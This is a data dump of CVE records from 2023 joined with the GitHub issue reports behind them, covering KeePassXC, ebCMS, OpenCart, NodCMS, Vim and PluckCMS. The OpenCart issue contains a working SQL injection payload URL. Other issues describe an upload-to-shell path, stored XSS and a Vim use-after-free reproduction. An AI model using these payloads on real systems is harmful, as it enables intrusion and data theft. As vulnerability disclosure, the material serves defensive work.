"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9391"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://keepassxc.org/docs/#faq-yubikey-2fa"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://medium.com/%40cybercitizen.tech/keepassxc-vulnerability-cve-2023-35866-dc7d447c4903"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9391"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://keepassxc.org/docs/#faq-yubikey-2fa"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://medium.com/%40cybercitizen.tech/keepassxc-vulnerability-cve-2023-35866-dc7d447c4903"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:keepassxc:keepassxc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C5AD47BA-25BE-4E45-ABCF-CF8AA101034D",
"versionEndExcluding": null,
"versionEndIncluding": "2.7.5",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"863"
] | 863 | https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482 | [
"Issue Tracking"
] | github.com | [
"keepassxreboot",
"keepassxc"
] | I am disappointed because when exporting the database no password is required.
And when I want to change the master password no password is required.
For me it is a bad lack of security because if an attacker who has managed to have access to the PC locally or remotely he can change the password or export the entire database in clear text in a second without any kind of protection. It's rare but it can happen and if it happens game over!
All password managers require the master password to export and change the master password.
I don't understand why KeePass XC doesn't!
That's why I don't use KeePass XC because it's too insecure for it.
I hope you will include this important protection becouse if this problem is not solved it remains a totally useless application to contain passwords.
| Password for export and change password | https://api.github.com/repos/keepassxreboot/keepassxc/issues/9339/comments | 41 | 2023-04-20T06:32:00Z | 2023-06-21T13:17:10Z | https://github.com/keepassxreboot/keepassxc/issues/9339 | 1,676,085,284 | 9,339 | 5,283 |
CVE-2023-35866 | 2023-06-19T06:15:09.240 | In KeePassXC through 2.7.5, a local attacker can make changes to the Database security settings, including master password and second-factor authentication, within an authenticated KeePassXC Database session, without the need to authenticate these changes by entering the password and/or second-factor authentication to confirm changes. NOTE: the vendor's position is "asking the user for their password prior to making any changes to the database settings adds no additional protection against a local attacker." | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9391"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://keepassxc.org/docs/#faq-yubikey-2fa"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://medium.com/%40cybercitizen.tech/keepassxc-vulnerability-cve-2023-35866-dc7d447c4903"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9391"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://keepassxc.org/docs/#faq-yubikey-2fa"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://medium.com/%40cybercitizen.tech/keepassxc-vulnerability-cve-2023-35866-dc7d447c4903"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:keepassxc:keepassxc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C5AD47BA-25BE-4E45-ABCF-CF8AA101034D",
"versionEndExcluding": null,
"versionEndIncluding": "2.7.5",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"863"
] | 863 | https://github.com/keepassxreboot/keepassxc/issues/9391 | [
"Issue Tracking"
] | github.com | [
"keepassxreboot",
"keepassxc"
] | ## Overview
Having set up a YubiKey for my Two-Factor-Authentication i noticed that a confirmation through the set up second-factor is not required when making changes to security-settings within that KeePassXC-Database.
## Steps to Reproduce
1. In Database-settings/Security set up a YubiKey Challenge-Response
2. Create a new Entry
3. Confirm with YubiKey Challenge-Response
4. Go back to Database-settings/Security
5. Remove YubiKey Challenge-Response
## Expected Behavior
Imperative authentication through YubiKey Challenge-Response when making security-related changes to database settings.
## Actual Behavior
No Two-Factor-Authentication required, while it is set up.
## Context
This is a similar but different issue like [9339](https://github.com/keepassxreboot/keepassxc/issues/9339).
KeePassXC - 2.7.4
Operating System: Linux | Insecure Two-Factor-Authentication settings modification | https://api.github.com/repos/keepassxreboot/keepassxc/issues/9391/comments | 1 | 2023-05-05T07:08:41Z | 2023-05-05T09:59:57Z | https://github.com/keepassxreboot/keepassxc/issues/9391 | 1,697,123,229 | 9,391 | 5,284 |
CVE-2020-20067 | 2023-06-20T15:15:10.213 | File upload vulnerability in ebCMS v.1.1.0 allows a remote attacker to execute arbitrary code via the upload type parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/a932278490/ebcms/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/a932278490/ebcms/issues/1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ebcms:ebcms:1.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "31A5127B-242B-4204-90FD-AE076280DA03",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/a932278490/ebcms/issues/1 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"a932278490",
"ebcms"
] | **Vulnerability description**
There is a file upload vulnerability in your version of ebcms v1.1.0
**POC**
add upload type

In http://127.0.0.1:1234/index.php/ebcms/index/index.html Upload file

capture data package

modify

send

uploaded successfully

check the infotmation

The upload type must be added otherwise the modification is unsuccessful
Fix:
Remove Settings for upload type
Set whitelist
| Bug: file upload vulnerability | https://api.github.com/repos/a932278490/ebcms/issues/1/comments | 0 | 2019-08-12T18:18:40Z | 2019-08-12T18:18:40Z | https://github.com/a932278490/ebcms/issues/1 | 479,783,057 | 1 | 5,285 |
CVE-2020-20491 | 2023-06-20T15:15:10.403 | SQL injection vulnerability in OpenCart v.2.2.00 thru 3.0.3.2 allows a remote attacker to execute arbitrary code via the Fba plugin function in upload/admin/index.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/opencart/opencart/issues/7612"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/opencart/opencart/issues/7612"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opencart:opencart:*:*:*:*:*:*:*:*",
"matchCriteriaId": "9000F917-5FEB-41E5-8BA6-C9E0CD546C34",
"versionEndExcluding": null,
"versionEndIncluding": "3.0.3.2",
"versionStartExcluding": null,
"versionStartIncluding": "2.2.00",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/opencart/opencart/issues/7612 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"opencart",
"opencart"
] | **What version of OpenCart are you reporting this for?**
2.2.0.0 ~ 3.0.3.2
**Describe the bug**
A SQL injection caused by inappropriate user input filtering.
**What section does it affect?**
openbay-fba extension
**To Reproduce**
Steps to reproduce the behavior:
1. Log in as administrator
2. Install "OpenBay Pro" extension
3. Enable "Fulfillment by Amazon"(Fba) plugin
4. Visit upload/admin/index.php?route=extension/openbay/fba/orderList&user_token=your_token&filter_start=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),1),0x7e)--%20
(ps: Replace the user_token parameter with your own.)
**Expected behavior**
'select user()' will be executed and its result will be returned | SQL Injection vulnerability found in fba extension | https://api.github.com/repos/opencart/opencart/issues/7612/comments | 3 | 2019-09-18T16:22:18Z | 2019-11-05T15:17:28Z | https://github.com/opencart/opencart/issues/7612 | 495,329,018 | 7,612 | 5,286 |
CVE-2020-20697 | 2023-06-20T15:15:10.537 | Cross Site Scripting vulnerability in khodakhah NodCMS v.3.0 allows a remote attacker to execute arbitrary code and gain access to senstivie information via a crafted script to the address parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/khodakhah/nodcms/issues/41"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/khodakhah/nodcms/issues/41"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:nodcms:nodcms:3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BDB187B4-9534-425E-8766-91D5BBC8CA78",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/khodakhah/nodcms/issues/41 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"khodakhah",
"nodcms"
] | I found a serious vulnerability in NodCMS.
if anyone could login in backend ,he can insert XSS code to execute,it would cause Information disclosure,Account stolen ,etc.
when login in backend,click settings ,then modify content in Address textarea into JavaScript code :

and submit it.
like this

Then ,this string would be stored in database.
When someone browse this website in frontend,this string of code will be execute .
example like this:

This is a Stored XSS vulnerability, be kindly notified please.
| There is a critical vulnerability in NodCMS | https://api.github.com/repos/khodakhah/nodcms/issues/41/comments | 1 | 2019-10-11T08:46:49Z | 2019-12-25T01:19:27Z | https://github.com/khodakhah/nodcms/issues/41 | 505,721,049 | 41 | 5,287 |
CVE-2020-20703 | 2023-06-20T15:15:10.580 | Buffer Overflow vulnerability in VIM v.8.1.2135 allows a remote attacker to execute arbitrary code via the operand parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/vim/vim/issues/5041"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/vim/vim/issues/5041"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:vim:vim:8.1.2135:*:*:*:*:*:*:*",
"matchCriteriaId": "3AB267E1-74B2-451E-AFFB-DFC40046C132",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"120"
] | 120 | https://github.com/vim/vim/issues/5041 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"vim",
"vim"
] | **VIM Version:**
```
$ ./vim --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Oct 10 2019 22:18:57)
Included patches: 1-2133
Compiled by input0@zero
Huge version without GUI. Features included (+) or not (-):
+acl -farsi -mouse_sysmouse -tag_any_white
+arabic +file_in_path +mouse_urxvt -tcl
+autocmd +find_in_path +mouse_xterm +termguicolors
+autochdir +float +multi_byte +terminal
-autoservername +folding +multi_lang +terminfo
-balloon_eval -footer -mzscheme +termresponse
+balloon_eval_term +fork() +netbeans_intg +textobjects
-browse +gettext +num64 +textprop
++builtin_terms -hangul_input +packages +timers
+byte_offset +iconv +path_extra +title
+channel +insert_expand -perl -toolbar
+cindent +job +persistent_undo +user_commands
+clientserver +jumplist +postscript +vartabs
+clipboard +keymap +printer +vertsplit
+cmdline_compl +lambda +profile +virtualedit
+cmdline_hist +langmap -python +visual
+cmdline_info +libcall -python3 +visualextra
+comments +linebreak +quickfix +viminfo
+conceal +lispindent +reltime +vreplace
+cryptv +listcmds +rightleft +wildignore
+cscope +localmap -ruby +wildmenu
+cursorbind -lua +scrollbind +windows
+cursorshape +menu +signs +writebackup
+dialog_con +mksession +smartindent +X11
+diff +modify_fname -sound +xfontset
+digraphs +mouse +spell -xim
-dnd -mouseshape +startuptime -xpm
-ebcdic +mouse_dec +statusline +xsmp_interact
+emacs_tags -mouse_gpm -sun_workshop +xterm_clipboard
+eval -mouse_jsbterm +syntax -xterm_save
+ex_extra +mouse_netterm +tag_binary
+extra_search +mouse_sgr -tag_old_static
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/local/share/vim"
Compilation: afl-clang-fast -c -I. -Iproto -DHAVE_CONFIG_H -g -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1
Linking: afl-clang-fast -L/usr/local/lib -Wl,--as-needed -o vim -lSM -lICE -lXpm -lXt -lX11 -lXdmcp -lSM -lICE -lm -ltinfo -lelf -lnsl -ldl
```
**MData:**
```
While fuzzing VIM with enabling different mode an use-after-free was observed. This is
likely a write access violation, which means the attacker may have control over the
write address and value.
```
**GDB BT:**
```
(gdb) run -u NONE -X -Z -e -s -S out/id\:000001\,sig\:11\,src\:018487\,time\:45124324+017124\,op\:splice\,rep\:8 -c ':qa!'
Starting program: /home/input0/nvim/vim/src/vim -u NONE -X -Z -e -s -S out/id\:000001\,sig\:11\,src\:018487\,time\:45124324+017124\,op\:splice\,rep\:8 -c ':qa!'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x000000000041adeb in bt_terminal (buf=0x7ffff6c3fca0 <main_arena+96>) at buffer.c:5307
5307 return buf != NULL && buf->b_p_bt[0] == 't';
(gdb) bt
#0 0x000000000041adeb in bt_terminal (buf=0x7ffff6c3fca0 <main_arena+96>) at buffer.c:5307
#1 0x00000000008ed15d in win_enter_ext (wp=<optimized out>, undo_sync=<optimized out>, curwin_invalid=0,
trigger_new_autocmds=<optimized out>, trigger_enter_autocmds=<optimized out>, trigger_leave_autocmds=<optimized out>) at window.c:4658
#2 0x00000000008e8b02 in win_split_ins (size=<optimized out>, flags=<optimized out>, new_wp=<optimized out>, dir=<optimized out>)
at window.c:1326
#3 0x00000000008e0f1f in win_split (size=0, flags=0) at window.c:812
#4 0x0000000000409e23 in do_argfile (eap=0x7fffffffa890, argn=0) at arglist.c:662
#5 0x00000000005214bd in do_one_cmd (sourcing=<optimized out>, cstack=<optimized out>, cmdlinep=<optimized out>, fgetline=<optimized out>,
cookie=<optimized out>) at ex_docmd.c:2470
#6 do_cmdline (cmdline=<optimized out>, fgetline=<optimized out>, cookie=<optimized out>, flags=<optimized out>) at ex_docmd.c:966
#7 0x00000000007a0b32 in do_source (fname=<optimized out>, check_other=<optimized out>, is_vimrc=<optimized out>) at scriptfile.c:1214
#8 0x000000000079f5b9 in cmd_source (fname=0xc4f583 "out/id:000001,sig:11,src:018487,time:45124324+017124,op:splice,rep:8",
eap=<optimized out>) at scriptfile.c:805
#9 0x00000000005214bd in do_one_cmd (sourcing=<optimized out>, cstack=<optimized out>, cmdlinep=<optimized out>, fgetline=<optimized out>,
cookie=<optimized out>) at ex_docmd.c:2470
#10 do_cmdline (cmdline=<optimized out>, fgetline=<optimized out>, cookie=<optimized out>, flags=<optimized out>) at ex_docmd.c:966
#11 0x000000000096e6c9 in exe_commands (parmp=<optimized out>) at main.c:3133
#12 vim_main2 () at main.c:795
#13 0x000000000096b597 in main (argc=<optimized out>, argv=<optimized out>) at main.c:444
(gdb) i r
rax 0xfffffffffffffffc -4
rbx 0xc6dae0 13032160
rcx 0x0 0
rdx 0xc27900 12744960
rsi 0x0 0
rdi 0x7ffff6c3fca0 140737333427360
rbp 0xc6dae8 0xc6dae8
rsp 0x7fffffff96c8 0x7fffffff96c8
r8 0x5f 95
r9 0x1 1
r10 0x7fffffff8c60 140737488325728
r11 0x0 0
r12 0x1 1
r13 0x0 0
r14 0xfffffffffffffffc -4
r15 0x1 1
rip 0x41adeb 0x41adeb <bt_terminal+75>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
```
**ASAN BT:**
```
==14666==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500000f108 at pc 0x000000db2301 bp 0x7ffcbdb68e70 sp 0x7ffcbdb68e68
READ of size 8 at 0x62500000f108 thread T0
#0 0xdb2300 in win_enter_ext /home/input0/vim/src/window.c:4658:25
#1 0xda89af in win_split_ins /home/input0/vim/src/window.c:1326:5
#2 0xd9b007 in win_split /home/input0/vim/src/window.c:812:12
#3 0x516344 in do_argfile /home/input0/vim/src/arglist.c:662:10
#4 0x7120d0 in do_one_cmd /home/input0/vim/src/ex_docmd.c:2470:2
#5 0x7120d0 in do_cmdline /home/input0/vim/src/ex_docmd.c:966
#6 0xb60432 in do_source /home/input0/vim/src/scriptfile.c:1214:5
#7 0xb5e5bf in cmd_source /home/input0/vim/src/scriptfile.c:805:14
#8 0x7120d0 in do_one_cmd /home/input0/vim/src/ex_docmd.c:2470:2
#9 0x7120d0 in do_cmdline /home/input0/vim/src/ex_docmd.c:966
#10 0xe9998f in exe_commands /home/input0/vim/src/main.c:3133:2
#11 0xe9998f in vim_main2 /home/input0/vim/src/main.c:795
#12 0xe94b2c in main /home/input0/vim/src/main.c:444:12
#13 0x7f32b72bbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#14 0x41ff49 in _start (/home/input0/vim/src/vim+0x41ff49)
0x62500000f108 is located 8 bytes inside of 8664-byte region [0x62500000f100,0x6250000112d8)
freed by thread T0 here:
#0 0x4d53e8 in __interceptor_free.localalias.0 (/home/input0/vim/src/vim+0x4d53e8)
#1 0x8f411e in vim_free /home/input0/vim/src/misc2.c:1802:2
#2 0x5270ea in apply_autocmds /home/input0/vim/src/autocmd.c:1607:12
#3 0xda89af in win_split_ins /home/input0/vim/src/window.c:1326:5
#4 0xd9b007 in win_split /home/input0/vim/src/window.c:812:12
previously allocated by thread T0 here:
#0 0x4d55a0 in malloc (/home/input0/vim/src/vim+0x4d55a0)
#1 0x8ef102 in lalloc /home/input0/vim/src/misc2.c:924:11
#2 0xd9b007 in win_split /home/input0/vim/src/window.c:812:12
SUMMARY: AddressSanitizer: heap-use-after-free /home/input0/vim/src/window.c:4658:25 in win_enter_ext
Shadow bytes around the buggy address:
0x0c4a7fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff9e20: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fff9e30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fff9e40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fff9e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fff9e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a7fff9e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14666==ABORTING
```
**To Reproduce:** vim -u NONE -X -Z -e -s -S [$POC](https://github.com/vim/vim/files/3713764/poc.zip) -c ':qa!' | UAF: Access violation near NULL on destination operand | https://api.github.com/repos/vim/vim/issues/5041/comments | 4 | 2019-10-10T17:16:03Z | 2019-10-11T19:19:49Z | https://github.com/vim/vim/issues/5041 | 505,402,931 | 5,041 | 5,288 |
CVE-2020-20718 | 2023-06-20T15:15:10.627 | File Upload vulnerability in PluckCMS v.4.7.10 dev versions allows a remote attacker to execute arbitrary code via a crafted image file to the the save_file() parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/pluck-cms/pluck/issues/79"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/pluck-cms/pluck/issues/79"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pluck-cms:pluckcms:4.7.10:dev:*:*:*:*:*:*",
"matchCriteriaId": "F81490FE-D8E4-42ED-9D60-7D44697E52AB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/pluck-cms/pluck/issues/79 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"pluck-cms",
"pluck"
] | admin.php:

language.php:

save_file():

"../../../images/wphp.jpg" Be written to \data\settings\langpref.php

Users can upload a picture file containing malicious code to getshell.
